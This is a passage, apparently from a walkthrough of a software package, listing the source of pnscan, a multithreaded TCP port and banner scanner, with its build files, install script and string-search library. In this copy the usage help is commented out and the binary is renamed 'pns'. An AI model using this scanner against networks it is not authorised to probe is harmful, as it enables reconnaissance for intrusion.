
sol solaris:
	@$(MAKE) all CC="$(SOL_CC)" LIBS="$(SOL_LIBS)" LDOPTS="$(SOL_LDOPTS)"

all: pnscan

man: pnscan.1 ipsort.1

pnscan.1:	pnscan.sgml
	docbook2man pnscan.sgml

ipsort.1:	ipsort.sgml
	docbook2man ipsort.sgml

pnscan: $(OBJS)
	$(CC) $(LDOPTS) -o pns $(OBJS) $(LIBS)


version:
	(PACKNAME=`basename \`pwd\`` ; echo 'char version[] = "'`echo $$PACKNAME | cut -d- -f2`'";' >version.c)

clean distclean:
	-rm -f *.o *~ pnscan core manpage.* \#*

dist:	distclean version
	(PACKNAME=`basename \`pwd\`` ; cd .. ; $(TAR) cf - $$PACKNAME | $(GZIP) -9 >$$PACKNAME.tar.gz)



install:	install-bin install-man

install-bin: all
	$(INSTALL) -c -m 755 pns $(BINDIR)
	$(INSTALL) -c -m 755 ipsort $(BINDIR)

install-man: man
	$(INSTALL) -c -m 644 pnscan.1 $(MAN1DIR)
	$(INSTALL) -c -m 644 ipsort.1 $(MAN1DIR)


install-all install-distribution: install

Here is the ‘install-sh’ shell script.

#!/bin/sh
#
# install - install a program, script, or datafile
# This comes from X11R5 (mit/util/scripts/install.sh).
#
# Copyright 1991 by the Massachusetts Institute of Technology
#
# Permission to use, copy, modify, distribute, and sell this software and its
# documentation for any purpose is hereby granted without fee, provided that
# the above copyright notice appear in all copies and that both that
# copyright notice and this permission notice appear in supporting
# documentation, and that the name of M.I.T. not be used in advertising or
# publicity pertaining to distribution of the software without specific,
# written prior permission.  M.I.T. makes no representations about the
# suitability of this software for any purpose.  It is provided "as is"
# without express or implied warranty.
#
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
#
# This script is compatible with the BSD install script, but was written
# from scratch.  It can only install one file at a time, a restriction
# shared with many OS's install programs.


# set DOITPROG to echo to test this script

# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"


# put in absolute paths if you don't have them in your path; or use env. vars.

mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"

transformbasename=""
transform_arg=""
instcmd="$cpprog"
chmodcmd="$chmodprog 0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog -f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""

while [ x"$1" != x ]; do
    case $1 in
	-c) instcmd="$cpprog"
	    shift
	    continue;;

	-d) dir_arg=true
	    shift
	    continue;;

	-m) chmodcmd="$chmodprog $2"
	    shift
	    shift
	    continue;;

	-o) chowncmd="$chownprog $2"
	    shift
	    shift
	    continue;;

	-g) chgrpcmd="$chgrpprog $2"
	    shift
	    shift
	    continue;;

	-s) stripcmd="$stripprog"
	    shift
	    continue;;

	-t=*) transformarg=`echo $1 | sed 's/-t=//'`
	    shift
	    continue;;

	-b=*) transformbasename=`echo $1 | sed 's/-b=//'`
	    shift
	    continue;;

	*)  if [ x"$src" = x ]
	    then
		src=$1
	    else
		# this colon is to work around a 386BSD /bin/sh bug
		:
		dst=$1
	    fi
	    shift
	    continue;;
    esac
done

if [ x"$src" = x ]
then
	echo "install:	no input file specified"
	exit 1
else
	true
fi

if [ x"$dir_arg" != x ]; then
	dst=$src
	src=""
	
	if [ -d $dst ]; then
		instcmd=:
		chmodcmd=""
	else
		instcmd=mkdir
	fi
else

# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
# might cause directories to be created, which would be especially bad 
# if $src (and thus $dsttmp) contains '*'.

	if [ -f $src -o -d $src ]
	then
		true
	else
		echo "install:  $src does not exist"
		exit 1
	fi
	
	if [ x"$dst" = x ]
	then
		echo "install:	no destination specified"
		exit 1
	else
		true
	fi

# If destination is a directory, append the input filename; if your system
# does not like double slashes in filenames, you may need to add some logic

	if [ -d $dst ]
	then
		dst="$dst"/`basename $src`
	else
		true
	fi
fi

## this sed command emulates the dirname command
dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`

# Make sure that the destination directory exists.
#  this part is taken from Noah Friedman's mkinstalldirs script

# Skip lots of stat calls in the usual case.
if [ ! -d "$dstdir" ]; then
defaultIFS='	
'
IFS="${IFS-${defaultIFS}}"

oIFS="${IFS}"
# Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS="${oIFS}"

pathcomp=''

while [ $# -ne 0 ] ; do
	pathcomp="${pathcomp}${1}"
	shift

	if [ ! -d "${pathcomp}" ] ;
        then
		$mkdirprog "${pathcomp}"
	else
		true
	fi

	pathcomp="${pathcomp}/"
done
fi

if [ x"$dir_arg" != x ]
then
	$doit $instcmd $dst &&

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
else

# If we're going to rename the final executable, determine the name now.

	if [ x"$transformarg" = x ] 
	then
		dstfile=`basename $dst`
	else
		dstfile=`basename $dst $transformbasename | 
			sed $transformarg`$transformbasename
	fi

# don't allow the sed command to completely eliminate the filename

	if [ x"$dstfile" = x ] 
	then
		dstfile=`basename $dst`
	else
		true
	fi

# Make a temp file name in the proper directory.

	dsttmp=$dstdir/#inst.$$#

# Move or copy the file name to the temp name

	$doit $instcmd $src $dsttmp &&

	trap "rm -f ${dsttmp}" 0 &&

# and set any options; do chmod last to preserve setuid bits

# If any of these fail, we abort the whole thing.  If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $instcmd $src $dsttmp" command.

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&

# Now rename the file to the real destination.

	$doit $rmcmd -f $dstdir/$dstfile &&
	$doit $mvcmd $dsttmp $dstdir/$dstfile 

fi &&


exit 0

And ‘ipsort’ is a one-line command to sort files using IPv4 addresses like this:

#!/bin/sh
#
# Sort a file using IPv4 addresses in at the beginning of each line
exec sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n "$@"

Next there is a Boyer-Moore string search library (files bm.c and bm.h) with header file:

#ifndef PNSCAN_BM_H
#define PNSCAN_BM_H

#define BM_ASIZE 256 /* Allowed character code values */

typedef struct
{
    int xsize;
    int *bmGs;
    
    int bmBc[BM_ASIZE];
    unsigned char *saved_x;
    int saved_m;

    int icase;
} BM;


extern int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase);

extern int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos));

extern void
bm_destroy(BM *bmp);

#endif

And the main library code is stored in bm.c which is the one below.

/* Boyer-Moore string search as found on the internet using Google */

#include <pthread.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>

#include "bm.h"

#define MAX(a,b) ((a) < (b) ? (b) : (a))



static void
preBmBc(unsigned char *x,
	int m,
	int bmBc[])
{
    int i;
    
    for (i = 0; i < BM_ASIZE; ++i)
	bmBc[i] = m;
    
    for (i = 0; i < m - 1; ++i)
	bmBc[x[i]] = m - i - 1;
}


static void
suffixes(unsigned char *x,
	 int m,
	 int *suff)
{
    int f, g, i;


    f = 0;
    suff[m - 1] = m;
    g = m - 1;
    for (i = m - 2; i >= 0; --i)
    {
	if (i > g && suff[i + m - 1 - f] < i - g)
	    suff[i] = suff[i + m - 1 - f];
	else
	{
	    if (i < g)
		g = i;
	    f = i;
	    while (g >= 0 && x[g] == x[g + m - 1 - f])
		--g;
	    suff[i] = f - g;
	}
    }
}


static int
preBmGs(unsigned char *x, int m, int bmGs[])
{
    int i, j, *suff;


    suff = (int *) calloc(sizeof(int), m);
    if (suff == NULL)
	return -1;
    
    suffixes(x, m, suff);
    
    for (i = 0; i < m; ++i)
	bmGs[i] = m;

    j = 0;
    for (i = m - 1; i >= -1; --i)
	if (i == -1 || suff[i] == i + 1)
	    for (; j < m - 1 - i; ++j)
		if (bmGs[j] == m)
		    bmGs[j] = m - 1 - i;

    for (i = 0; i <= m - 2; ++i)
	bmGs[m - 1 - suff[i]] = m - 1 - i;

    free(suff);
    return 0;
}


int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase)
{
    int i;


    memset(bmp, 0, sizeof(bmp));

    bmp->icase = icase;
    bmp->bmGs = (int *) calloc(sizeof(int), m);
    if (bmp->bmGs == NULL)
	return -1;
    
    bmp->saved_m = m;
    bmp->saved_x = (unsigned char *) malloc(m);
    if (bmp->saved_x == NULL)
	return -2;
    
    for (i = 0; i < m; i++)
	bmp->saved_x[i] = icase ? tolower(x[i]) : x[i];
    
    /* Preprocessing */
    if (preBmGs(bmp->saved_x, m, bmp->bmGs) < 0)
	return -3;
    
    preBmBc((unsigned char *) bmp->saved_x, m, bmp->bmBc);

    return 0;
}    


void
bm_destroy(BM *bmp)
{
    if (bmp->bmGs)
	free(bmp->bmGs);

    if (bmp->saved_x)
	free(bmp->saved_x);
}



/* Search for matches
**
** If mfun is defined, then call this function for each match.
** If mfun returns anything else but 0 abort the search. If the
** returned value is < 0 then return this value, else return the
** number of matches (so far).
**
** If mfun is NULL then stop at first match and return the position
*/

int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos))
{
    int i, j, c;
    int nm = 0;
    

    /* Searching */
    j = 0;
    while (j <= n - bmp->saved_m)
    {
	for (i = bmp->saved_m - 1;
	     i >= 0 && bmp->saved_x[i] == (bmp->icase ? tolower(y[i + j]) : y[i + j]);
	     --i)
	    ;
	
	if (i < 0)
	{
	    if (mfun)
	    {
		++nm;
		
		c = mfun(y, n, j);
		if (c)
		    return (c < 0 ? c : nm);
		
		j += bmp->bmGs[0];
	    }
	    else
		return j;
	}
	else
	{
	    unsigned char c = (bmp->icase ? tolower(y[i + j]) : y[i + j]);

	    j += MAX(bmp->bmGs[i], bmp->bmBc[c] - bmp->saved_m + 1 + i);
	}
    }

    return mfun == NULL ? -1 : nm;
}

#if 0
int
main(int argc,
     char *argv[])
{
    int pos;

    
    bm_setup(argv[1], strlen(argv[1]));

    pos = bm_search(argv[2], strlen(argv[2]));

    printf("Match at pos %d\n", pos);

    exit(0);
}
#endif

And finally we have ‘pnscan.c’ which is a multi-threaded port scanner. Here is its code:


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <poll.h>
#include <netdb.h>
#include <locale.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>

#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>

#include <pthread.h>

#include "bm.h"


#define RESPONSE_MAX_SIZE    1024


extern char version[];

unsigned char *wstr = NULL;
int   wlen = 0;
unsigned char *rstr = NULL;
int   rlen = 0;

int debug = 0;
int verbose = 0;

int stop = 0;

int tworkers = 1;   /* Currently running worker threads */
int mworkers = 1;   /* Peak started concurrent worker threads */
int aworkers = 0;   /* Currently active probing worker threads */
int nworkers = 0;   /* Max concurrent worker threads */

int timeout = 1000; /* ms */
int pr_sym  = 0;
int line_f  = 0;
int use_shutdown = 0;
int maxlen  = 64;


int first_port = 0;
int last_port  = 0;

unsigned long  first_ip = 0x00000000;
unsigned long  last_ip  = 0xFFFFFFFF;

pthread_mutex_t cur_lock;
unsigned long  cur_ip;
int cur_port;

pthread_mutex_t print_lock;

int ignore_case = 0;
BM bmb;
    

void
print_version(FILE *fp)
{
    fprintf(fp, "[PNScan, version %s - %s %s]\n",
	    version,
	    __DATE__, __TIME__);
}


int
get_char_code(unsigned char **cp,
	      int base)
{
    int val = 0;
    int len = 0;
    
    
    while (len < (base == 16 ? 2 : 3) &&
	   ((**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base)) ||
	    (base >= 10 && toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)))
    {
	val *= base;

	if (**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base))
	    val += **cp - '0';
	else if (base >= 10 &&
		 toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)
	    val += toupper(**cp) - 'A' + 10;

	++*cp;
	++len;
    }

    return val & 0xFF;
}


int
dehex(unsigned char *str)
{
    unsigned char *wp, *rp;
    int val;


    rp = wp = str;

    while (*rp)
    {
	while (*rp && isspace(* (unsigned char *) rp))
	    ++rp;

	if (*rp == '\0')
	    break;
	
	if (!isxdigit(* (unsigned char *) rp))
	    return -1;
	
	val = get_char_code(&rp, 16);
	*wp++ = val;
    }

    *wp = '\0';
    return wp - str;
}


    
int
deslash(unsigned char *str)
{
    unsigned char *wp, *rp;

    
    rp = wp = str;

    while (*rp)
    {
	if (*rp != '\\')
	    *wp++ = *rp++;
	else
	{
	    switch (*++rp)
	    {
	      case 'n':
		*wp++ = 10;
		++rp;
		break;

	      case 'r':
		*wp++ = 13;
		++rp;
		break;

	      case 't':
		*wp++ = 9;
		++rp;
		break;

	      case 'b':
		*wp++ = 8;
		++rp;
		break;

	      case 'x':
		++rp;
		*wp++ = get_char_code(&rp, 16);
		break;
		
	      case '0':
		*wp++ = get_char_code(&rp, 8);
		break;
		
	      case '1':
	      case '2':
	      case '3':
	      case '4':
	      case '5':
	      case '6':
	      case '7':
	      case '8':
	      case '9':
		*wp++ = get_char_code(&rp, 10);
		break;

	      default:
		*wp++ = *rp++;
		break;
	    }
	}
    }

    *wp = '\0';

    return wp-str;
}



void
print_host(FILE *fp,
	   struct in_addr in,
	   int port)
{
    struct hostent *hep = NULL;

    
    if (pr_sym)
    {
	hep = gethostbyaddr((const char *) &in, sizeof(in), AF_INET);
	fprintf(fp, "%-15s : %-40s : %5d",
		inet_ntoa(in), hep ? hep->h_name : "(unknown)", port);
    }
    else
	fprintf(fp, "%-15s : %5d", inet_ntoa(in), port);
}


int
t_write(int fd,
	unsigned char *buf,
	int len)
{
    int tw, wl, code;
    struct pollfd pfd;


    tw = len;
    while (tw > 0)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
	
	while ((wl = write(fd, buf, tw)) < 0 && errno == EINTR)
	    ;
	
	if (wl < 0)
	    return wl;

	tw -= wl;
	buf += wl;
    }

    return len;
}


int
t_read(int fd,
       unsigned char *buf,
       int size)
{
    int len, code;
    struct pollfd pfd;


    pfd.fd = fd;
    pfd.events = POLLIN;
    pfd.revents = 0;
    
    while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	errno = 0;
    
    if (code == 0)
    {
	errno = ETIMEDOUT;
	return -1;
    }
    
    while ((len = read(fd, buf, size)) < 0 && errno == EINTR)
	;
    
    return len;
}

int
is_text(unsigned char *cp, int slen)
{
    while (slen > 0 && (isprint(*cp) || *cp == '\0' || *cp == '\t' || *cp == '\n' || *cp == '\r'))
    {
	--slen;
	++cp;
    }

    return slen == 0;
}


int
print_output(unsigned char *str, int slen)
{
    unsigned char *cp = str;
    int len;
    

    len = 0;
    
    if (str == NULL)
    {
	printf("NULL");
	return len;
    }


    if (slen >= 2 && cp[0] == IAC && cp[1] >= xEOF)
    {
	printf("TEL : ");

	while (len < slen && len < maxlen)
	{
	    if (*cp == IAC)
	    {
		++len;
		
		printf("<IAC>");
		switch (*++cp)
		{
		  case 0:
		    return len;

		  case DONT:
		    printf("<DONT>");
		    break;

		  case DO:
		    printf("<DO>");
		    break;

		  case WONT:
		    printf("<WONT>");
		    break;

		  case WILL:
		    printf("<WILL>");
		    break;

		  case SB:
		    printf("<SB>");
		    break;

		  case GA:
		    printf("<GA>");
		    break;

		  case EL:
		    printf("<EL>");
		    break;

		  case EC:
		    printf("<EC>");
		    break;

		  case AYT:
		    printf("<AYT>");
		    break;

		  case AO:
		    printf("<AO>");
		    break;

		  case IP:
		    printf("<IP>");
		    break;

		  case BREAK:
		    printf("<BREAK>");
		    break;

		  case DM:
		    printf("<DM>");
		    break;

		  case NOP:
		    printf("<NOP>");
		    break;

		  case SE:
		    printf("<SE>");
		    break;

		  case EOR:
		    printf("<EOR>");
		    break;

		  case ABORT:
		    printf("<ABORT>");
		    break;

		  case SUSP:
		    printf("<SUSP>");
		    break;
		    
		  case xEOF:
		    printf("<xEOF>");
		    break;

		  default:
		    printf("<0x%02X>", *cp);
		}
	    }
	    
	    else if (isprint(*cp))
		putchar(*cp);
	    
	    else
	    {
		switch (*cp)
		{
		  case '\n':
		    if (line_f)
			return len;

		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;

		  case '\0':
		    printf("\\0");
		    break;
		    
		  default:
		    printf("\\x%02X", *cp);
		}
	    }

	    ++len;
	    ++cp;
	}
    }

    else if (is_text(str, slen))
    {
	printf("TXT : ");
    
	while (len < slen && len < maxlen)
	{
	    if (isprint(* (unsigned char *) str))
		putchar(*str);
	    else
		switch (*str)
		{
		  case '\0':
		    printf("\\0");
		    break;
		    
		  case '\n':
		    if (line_f)
			return len;
		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;
		    
		  default:
		    printf("\\x%02x", * (unsigned char *) str);
		}

	    ++len;
	    ++str;
	}
    }
    
    else
    {
	printf("HEX :");
	while (len < slen && len < maxlen)
	{
	    printf(" %02x", * (unsigned char *) str);
	    ++len;
	    ++str;
	}
    }

    return len;
}



int
probe(unsigned long addr,
      int port)
{
    int fd, code, len;
    struct sockaddr_in sin;
    unsigned char buf[RESPONSE_MAX_SIZE];
    struct pollfd pfd;
    

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0)
	return -1;

    memset(&sin, 0, sizeof(sin));

    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);

    sin.sin_addr.s_addr = htonl(addr);

    code = fcntl(fd, F_GETFL, 0);
    if (code < 0)
    {
	close(fd);
	return -1;
    }

#ifdef FNDELAY
    code = fcntl(fd, F_SETFL, code|FNDELAY);
#else
    code = fcntl(fd, F_SETFL, code|O_NONBLOCK);
#endif
    if (code < 0)
    {
	close(fd);
	return -1;
    }
    
    while ((code = connect(fd,
			   (struct sockaddr *) &sin, sizeof(sin))) < 0 &&
	   errno == EINTR)
	errno = 0;
    
    if (code < 0 && errno == EINPROGRESS)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
    }
    
    if (code < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : connect() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return 0;
    }

    if (wstr)
    {
	code = t_write(fd, wstr, wlen);
	if (code < 0)
	{
	    if (verbose)
	    {
		pthread_mutex_lock(&print_lock);
		
		print_host(stderr, sin.sin_addr, port);
		fprintf(stderr, " : ERR : write() failed: %s\n", strerror(errno));
		
		pthread_mutex_unlock(&print_lock);
	    }

	    close(fd);
	    return 0;
	}
    }

    if (use_shutdown)
	shutdown(fd, 1);

    while ((len = t_read(fd, buf, sizeof(buf)-1)) < 0 && errno == EINTR)
	;

    if (len < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : read() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return -1;
    }

    buf[len] = '\0';
	    
    if (rstr)
    {
	int pos;

	pos = bm_search(&bmb, buf, len, NULL);

	if (pos >= 0)
	{
	    if (line_f)
		while (pos > 0 &&
		       !(buf[pos-1] == '\n' || buf[pos-1] == '\r'))
		    --pos;
	    
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stdout, sin.sin_addr, port);
	    printf(" : ");

	    print_output(buf+pos, len-pos);
	    putchar('\n');
	    
	    pthread_mutex_unlock(&print_lock);
	}
    }
    else
    {
	pthread_mutex_lock(&print_lock);
	
	print_host(stdout, sin.sin_addr, port);
	printf(" : ");
	print_output(buf, len);
	putchar('\n');
	
	pthread_mutex_unlock(&print_lock);
    }
    
    close(fd);
    return 1;
}


void *
r_worker(void *arg)
{
    unsigned long addr;
    int port;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
	
    while (!stop)
    {
	if (cur_ip <= last_ip)
	{
	    port = cur_port;
	    addr = cur_ip++;
	}
	else
	{
	    if (cur_port >= last_port)
	    {
		stop = 1;
		break;
	    }
	    
	    port = ++cur_port;
	    addr = cur_ip = first_ip;
	}

	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;

	    if (pthread_create(&tid, NULL, r_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }
	    
	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);

	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


int
get_host(char *str,
	 unsigned long *ip)
{
    struct hostent *hep;
    unsigned long tip;


    hep = gethostbyname(str);
    if (hep && hep->h_addr_list &&hep->h_addr_list[0])
    {
	tip = * (unsigned long *) (hep->h_addr_list[0]);
	*ip = ntohl(tip);
	return 1;
    }

    return inet_pton(AF_INET, str, ip);
}


int
get_service(char *str,
	    int *pp)
{
    struct servent *sep;


    sep = getservbyname(str, "tcp");
    if (sep)
    {
	*pp = ntohs(sep->s_port);
	return 1;
    }

    if (sscanf(str, "%u", pp) != 1)
	return -1;

    if (*pp < 1 || *pp > 65535)
	return 0;

    return 1;
}

void *
f_worker(void *arg)
{
    unsigned long addr;
    int port, code;
    char buf[1024];
    char *host;
    char *serv;
    char *tokp;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
    
    while (!stop)
    {
	if (fgets(buf, sizeof(buf), stdin) == NULL)
	{
	    if (debug)
		fprintf(stderr, "*** GOT EOF ***\n");
	    
	    stop = 1;
	    break;
	}

	host = strtok_r(buf, " \t\n\r", &tokp);
	serv = strtok_r(NULL, " \t\n\r", &tokp);
	
	if (host == NULL || host[0] == '#')
	    continue;
	
	if (get_host(host, &addr) != 1)
	{
	    if (verbose)
		fprintf(stderr, "%s: invalid host\n", host);
	    continue;
	}
	
	if (serv == NULL)
	{
	    if (first_port == 0)
	    {
		if (verbose)
		    fprintf(stderr, "%s: missing service specification\n",
			    host);
		continue;
	    }

	    port = first_port;
	}
	else
	{
	    code = get_service(serv, &port);
	    if (code != 1)
	    {
		if (verbose)
		    fprintf(stderr, "%s: invalid service (code=%d)\n", serv, code);
		continue;
	    }
	}
	
	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;
	    
	    if (pthread_create(&tid, NULL, f_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }

	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);
	
	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


char *argv0 = "pnscan";


void
usage(FILE *out)
{
 /*   fprintf(out, "Usage: %s [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]\n", argv0);

   fputs("\n\
This program implements a multithreaded TCP port scanner.\n\
More information may be found at:\n\
\thttp://www.lysator.liu.se/~pen/pnscan\n\
\n\
Command line options:\n", out);
    
    fprintf(out, "\t-h             Display this information.\n");
    fprintf(out, "\t-V             Print version.\n");
    fprintf(out, "\t-v             Be verbose.\n");
    fprintf(out, "\t-d             Print debugging info.\n");
    fprintf(out, "\t-s             Lookup and print hostnames.\n");
    fprintf(out, "\t-i             Ignore case when scanning responses.\n");
    fprintf(out, "\t-S             Enable shutdown mode.\n");
    fprintf(out, "\t-l             Line oriented output.\n");
    fprintf(out, "\t-w<string>     Request string to send.\n");
    fprintf(out, "\t-W<hex list>   Hex coded request string to send.\n");
    fprintf(out, "\t-r<string>     Response string to look for.\n");
    fprintf(out, "\t-R<hex list>   Hex coded response string to look for.\n");
    fprintf(out, "\t-L<length>     Max bytes to print.\n");
    fprintf(out, "\t-t<msecs>      Connect/Write/Read timeout.\n");
    fprintf(out, "\t-n<workers>    Concurrent worker threads limit.\n");
 */

}
    

int
get_network(char *str,
	    unsigned long *np)
{
    struct netent *nep;
    struct in_addr ia;
    

    nep = getnetbyname(str);
    if (nep)
    {
	ia = inet_makeaddr(nep->n_net, 0);
	*np = ntohl(ia.s_addr);
	return 1;
    }

    return inet_pton(AF_INET, str, np);
}


int
get_ip_range(char *str,
	     unsigned long *first_ip,
	     unsigned long *last_ip)
{
    char first[1024], last[1024];
    int len;
    unsigned long ip;
    unsigned long mask = 0;
    

    if (sscanf(str, "%1023[^/ ] / %u", first, &len) == 2)
    {
	/* CIDR */

	if (get_network(first, &ip) != 1 || len < 0 || len > 32)
	    return -1;

	ip = ntohl(ip);
	
	*first_ip = ip+1;

	len = 32-len;
	while (len-- > 0)
	    mask = ((mask << 1)|1);

	*last_ip = (ip|mask)-1;
	return 2;
    }

    switch (sscanf(str, "%1023[^: ] : %1023s", first, last))
    {
      case 1:
	if (get_host(first, first_ip) != 1)
	    return -1;

	*last_ip = *first_ip;
	return 1;

      case 2:
	if (get_host(first, first_ip) != 1)
	    return -1;

	if (get_host(last, last_ip) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}


int
get_port_range(char *str,
	       int *first_port,
	       int *last_port)
{
    char first[256], last[256];


    switch (sscanf(str, "%255[^: ] : %255s", first, last))
    {
      case 1:
	if (strcmp(first, "all") == 0)
	{
	    *first_port = 1;
	    *last_port  = 65535;
	    return 2;
	}
	
	if (get_service(first, first_port) != 1)
	    return -1;

	*last_port = *first_port;
	return 1;

      case 2:
	if (get_service(first, first_port) != 1)
	    return -1;

	if (get_service(last, last_port) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}



void
e_fun(void)
{
    printf("mworkers = %d, tworkers = %d, aworkers = %d, nworkers = %d\n",
	   mworkers, tworkers, aworkers, nworkers);
}


int
main(int argc,
     char *argv[])
{
    int i, j;
    struct rlimit rlb;
    char *arg;
    
    
    argv0 = argv[0];

    setlocale(LC_CTYPE, "");

    first_port = 0;
    last_port = 0;
    
    getrlimit(RLIMIT_NOFILE, &rlb);
    rlb.rlim_cur = rlb.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlb);

    signal(SIGPIPE, SIG_IGN);
    
    nworkers = rlb.rlim_cur - 8;

    if (nworkers > 1024)
	nworkers = 1024;

    pthread_mutex_init(&cur_lock, NULL);
    pthread_mutex_init(&print_lock, NULL);

    for (i = 1; i < argc && argv[i][0] == '-'; i++)
	for (j = 1; j > 0 && argv[i][j]; ++j)
	    switch (argv[i][j])
	    {
	      case '-':
		++i;
		goto EndOptions;
		
	      case 'V':
		print_version(stdout);
		break;

	      case 'd':
		++debug;
		break;

	      case 'i':
		ignore_case = 1;
		break;
		
	      case 'v':
		++verbose;
		break;
		
	      case 'h':
		usage(stdout);
		exit(0);
		
	      case 'l':
		++line_f;
		break;
		
	      case 's':
		++pr_sym;
		break;
		
	      case 'S':
		++use_shutdown;
		break;
		
	      case 'w':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		
		wlen = deslash(wstr);
		j = -2;
		break;

	      case 'W':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		wlen = dehex(wstr);
		j = -2;
		break;
	    
	      case 'R':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = dehex(rstr);
		j = -2;
		break;
		
	      case 'r':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = deslash(rstr);
		j = -2;
		break;
		
	      case 'L':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &maxlen) != 1)
		{
		    fprintf(stderr, "%s: Invalid length specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 't':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &timeout) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid timeout specification: %s\n",
